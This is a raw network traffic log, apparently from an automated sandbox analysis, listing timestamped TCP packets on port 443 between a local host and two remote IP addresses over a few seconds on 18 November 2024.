Nov 18, 2024 05:57:43.209189892 CET	60395	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.209225893 CET	60395	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.209404945 CET	60395	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.209425926 CET	443	60395	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.209436893 CET	60395	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.209443092 CET	443	60395	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.213071108 CET	60400	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.213093042 CET	443	60400	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.213155031 CET	60400	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.213371038 CET	60400	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.213383913 CET	443	60400	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.288572073 CET	443	60396	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.288656950 CET	443	60396	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.288713932 CET	60396	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.288855076 CET	60396	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.288882971 CET	443	60396	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.288899899 CET	60396	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.288908005 CET	443	60396	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.291610003 CET	60401	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.291637897 CET	443	60401	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.291703939 CET	60401	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.291843891 CET	60401	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.291851044 CET	443	60401	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.358530998 CET	443	60398	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.358969927 CET	60398	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.359005928 CET	443	60398	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.359400988 CET	60398	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.359411001 CET	443	60398	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.363416910 CET	443	60397	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.363739014 CET	60397	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.363759995 CET	443	60397	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.364196062 CET	60397	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.364202976 CET	443	60397	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.485006094 CET	443	60398	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.485034943 CET	443	60398	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.485091925 CET	443	60398	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.485202074 CET	60398	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.485428095 CET	60398	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.485459089 CET	443	60398	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.485476971 CET	60398	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.485485077 CET	443	60398	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.487912893 CET	60402	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.487946987 CET	443	60402	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.488014936 CET	60402	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.488141060 CET	60402	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.488153934 CET	443	60402	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.498260975 CET	443	60397	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.498307943 CET	443	60397	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.498397112 CET	60397	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.498416901 CET	443	60397	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.498445034 CET	443	60397	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.498579979 CET	60397	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.498601913 CET	443	60397	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.498614073 CET	60397	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.498614073 CET	60397	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.498620987 CET	443	60397	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.498626947 CET	443	60397	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.501517057 CET	60403	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.501547098 CET	443	60403	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.501614094 CET	60403	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.501769066 CET	60403	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.501780987 CET	443	60403	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.609618902 CET	443	60399	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.610109091 CET	60399	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.610146046 CET	443	60399	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.610582113 CET	60399	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.610589027 CET	443	60399	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.743006945 CET	443	60399	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.743046045 CET	443	60399	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.743107080 CET	443	60399	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.743191957 CET	60399	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.743432999 CET	60399	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.743448973 CET	443	60399	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.743460894 CET	60399	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.743465900 CET	443	60399	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.746237993 CET	60404	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.746256113 CET	443	60404	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.746329069 CET	60404	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.746474028 CET	60404	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.746484041 CET	443	60404	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.957201004 CET	443	60400	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.959033966 CET	60400	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.959048033 CET	443	60400	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.959589005 CET	60400	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.959594011 CET	443	60400	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.010538101 CET	443	60401	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.011020899 CET	60401	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.011101961 CET	443	60401	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.011301041 CET	60401	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.011332989 CET	443	60401	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.089271069 CET	443	60400	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.089934111 CET	443	60400	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.090111971 CET	60400	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.090219975 CET	60400	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.090235949 CET	443	60400	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.090245008 CET	60400	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.090250015 CET	443	60400	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.092765093 CET	60405	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.092824936 CET	443	60405	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.092936039 CET	60405	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.093065977 CET	60405	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.093085051 CET	443	60405	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.137275934 CET	443	60401	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.137346029 CET	443	60401	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.137414932 CET	60401	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.137573957 CET	60401	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.137593985 CET	443	60401	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.137605906 CET	60401	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.137610912 CET	443	60401	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.139750004 CET	60406	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.139787912 CET	443	60406	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.139868021 CET	60406	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.139981985 CET	60406	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.139997959 CET	443	60406	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.232013941 CET	443	60402	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.235094070 CET	60402	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.235114098 CET	443	60402	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.235588074 CET	60402	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.235594988 CET	443	60402	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.236360073 CET	443	60403	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.238940954 CET	60403	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.238965034 CET	443	60403	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.239346981 CET	60403	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.239352942 CET	443	60403	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.359529972 CET	443	60402	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.359837055 CET	443	60402	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.360007048 CET	60402	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.360131025 CET	60402	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.360147953 CET	443	60402	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.360157013 CET	60402	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.360162973 CET	443	60402	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.363070011 CET	60407	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.363121986 CET	443	60407	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.363214016 CET	60407	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.363357067 CET	60407	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.363373995 CET	443	60407	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.365931988 CET	443	60403	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.366003990 CET	443	60403	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.366122961 CET	443	60403	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.366183996 CET	60403	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.366240978 CET	60403	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.366259098 CET	443	60403	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.366270065 CET	60403	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.366275072 CET	443	60403	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.368107080 CET	60408	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.368196011 CET	443	60408	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.368283033 CET	60408	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.368530989 CET	60408	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.368570089 CET	443	60408	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.492048025 CET	443	60404	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.492857933 CET	60404	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.492934942 CET	443	60404	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.493423939 CET	60404	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.493431091 CET	443	60404	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.623909950 CET	443	60404	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.624017000 CET	443	60404	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.624068975 CET	60404	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.624317884 CET	60404	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.624337912 CET	443	60404	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.624350071 CET	60404	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.624356031 CET	443	60404	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.628386021 CET	60409	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.628442049 CET	443	60409	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.628505945 CET	60409	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.628644943 CET	60409	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.628657103 CET	443	60409	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.831690073 CET	443	60405	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.832300901 CET	60405	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.832387924 CET	443	60405	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.832604885 CET	60405	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.832617998 CET	443	60405	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.870024920 CET	443	60406	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.870678902 CET	60406	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.870706081 CET	443	60406	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.871018887 CET	60406	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.871026039 CET	443	60406	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.970002890 CET	443	60405	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.970051050 CET	443	60405	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.970102072 CET	443	60405	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.970241070 CET	60405	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.970241070 CET	60405	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.970405102 CET	60405	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.970454931 CET	443	60405	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.970487118 CET	60405	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.970503092 CET	443	60405	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.973382950 CET	60410	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.973475933 CET	443	60410	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.973579884 CET	60410	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.973751068 CET	60410	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.973788977 CET	443	60410	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.998400927 CET	443	60406	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.998477936 CET	443	60406	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.998549938 CET	60406	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.998744965 CET	60406	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.998795033 CET	443	60406	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:44.998826027 CET	60406	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:44.998842955 CET	443	60406	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.001455069 CET	60411	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.001552105 CET	443	60411	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.001635075 CET	60411	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.001764059 CET	60411	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.001799107 CET	443	60411	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.105057001 CET	443	60407	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.105413914 CET	443	60408	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.105530024 CET	60407	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.105561018 CET	443	60407	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.105844975 CET	60408	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.105897903 CET	443	60408	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.106004953 CET	60407	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.106015921 CET	443	60407	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.106431007 CET	60408	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.106446028 CET	443	60408	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.234297991 CET	443	60408	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.234497070 CET	443	60408	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.234563112 CET	60408	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.234627962 CET	60408	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.234648943 CET	443	60408	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.234663010 CET	60408	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.234669924 CET	443	60408	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.237015963 CET	60412	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.237112045 CET	443	60412	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.237287998 CET	60412	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.237488985 CET	60412	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.237524033 CET	443	60412	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.241327047 CET	443	60407	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.241350889 CET	443	60407	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.241398096 CET	60407	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.241400957 CET	443	60407	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.241447926 CET	60407	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.241636992 CET	60407	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.241637945 CET	60407	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.241672993 CET	443	60407	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.241694927 CET	443	60407	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.243969917 CET	60413	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.244057894 CET	443	60413	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.244144917 CET	60413	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.244395018 CET	60413	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.244427919 CET	443	60413	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.377671957 CET	443	60409	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.378458977 CET	60409	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.378539085 CET	443	60409	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.378820896 CET	60409	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.378835917 CET	443	60409	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.508673906 CET	443	60409	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.508769989 CET	443	60409	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.508850098 CET	60409	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.509156942 CET	60409	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.509201050 CET	443	60409	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.509231091 CET	60409	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.509246111 CET	443	60409	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.512401104 CET	60414	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.512480974 CET	443	60414	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.512658119 CET	60414	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.512898922 CET	60414	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.512928009 CET	443	60414	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.710336924 CET	443	60410	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.710869074 CET	60410	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.710891008 CET	443	60410	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.711483002 CET	60410	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.711488008 CET	443	60410	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.742655993 CET	443	60411	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.743247986 CET	60411	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.743330956 CET	443	60411	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.743594885 CET	60411	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.743608952 CET	443	60411	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.840246916 CET	443	60410	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.840331078 CET	443	60410	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.840435028 CET	60410	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.840637922 CET	60410	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.840662003 CET	443	60410	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.840676069 CET	60410	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.840682983 CET	443	60410	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.843882084 CET	60415	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.843981981 CET	443	60415	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.844094038 CET	60415	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.844300985 CET	60415	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.844335079 CET	443	60415	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.878303051 CET	443	60411	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.878387928 CET	443	60411	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.878468990 CET	60411	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.878681898 CET	60411	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.878730059 CET	443	60411	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.878762960 CET	60411	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.878777981 CET	443	60411	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.881402969 CET	60416	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.881448984 CET	443	60416	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.881541014 CET	60416	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.881715059 CET	60416	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.881735086 CET	443	60416	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.985388041 CET	443	60412	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.986078024 CET	60412	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.986099958 CET	443	60412	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.986475945 CET	60412	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.986479998 CET	443	60412	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.991519928 CET	443	60413	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.991842985 CET	60413	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.991863966 CET	443	60413	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:45.992163897 CET	60413	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:45.992170095 CET	443	60413	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.116003036 CET	443	60412	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.116198063 CET	443	60412	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.116287947 CET	60412	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.116403103 CET	60412	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.116403103 CET	60412	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.116447926 CET	443	60412	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.116475105 CET	443	60412	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.119458914 CET	60417	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.119496107 CET	443	60417	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.119570017 CET	60417	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.119774103 CET	60417	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.119786024 CET	443	60417	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.120904922 CET	443	60413	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.120925903 CET	443	60413	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.120970964 CET	443	60413	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.121000051 CET	60413	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.121067047 CET	60413	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.121196985 CET	60413	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.121196985 CET	60413	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.121239901 CET	443	60413	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.121267080 CET	443	60413	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.123265028 CET	60418	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.123306036 CET	443	60418	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.123393059 CET	60418	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.123553991 CET	60418	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.123570919 CET	443	60418	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.249155998 CET	443	60414	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.249747038 CET	60414	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.249771118 CET	443	60414	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.250170946 CET	60414	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.250175953 CET	443	60414	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.321099997 CET	60419	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:46.321135044 CET	443	60419	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:46.321208954 CET	60419	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:46.321976900 CET	60419	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:46.321985960 CET	443	60419	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:46.377867937 CET	443	60414	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.378051043 CET	443	60414	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.378139019 CET	60414	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.378242016 CET	60414	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.378288984 CET	443	60414	13.107.246.45	192.168.2.6
